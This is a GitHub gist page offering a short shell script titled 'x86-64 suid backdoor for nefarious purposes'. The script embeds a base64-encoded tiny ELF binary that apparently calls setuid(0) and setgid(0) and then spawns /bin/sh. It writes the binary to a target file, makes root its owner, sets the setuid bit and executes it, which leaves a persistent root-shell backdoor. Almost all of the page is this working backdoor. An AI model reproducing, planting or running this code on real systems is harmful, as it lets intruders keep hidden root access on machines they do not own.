Skip to content

Instantly share code, notes, and snippets.

@resilar
Created January 20, 2022 02:29
Show Gist options
  • Save resilar/fe6f746a56c9a3fbe0c2faaf63122828 to your computer and use it in GitHub Desktop.
Save resilar/fe6f746a56c9a3fbe0c2faaf63122828 to your computer and use it in GitHub Desktop.
x86-64 suid backdoor for nefarious purposes
#!/bin/sh
TARGET="${1:-./narnia}"
narnia() {
base64 -d <<EOF
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAAB
AEAAAAAAAAEAAAAFAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAApgAAAAAAAACmAAAAAAAAAAAQ
AAAAAAAAMf9XampqaVgPBVhfDwVIuC9iaW4vc2gASInmUEiJ50itSIk+SI1UxghqO1gPBQ==
EOF
}
if ! narnia | cmp -s "$TARGET"
then narnia >"$TARGET" && chown 0:0 "$TARGET" && chmod 4755 "$TARGET"
fi
exec "$TARGET"
@resilar
Copy link
Author

resilar commented Jan 20, 2022

narnia

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment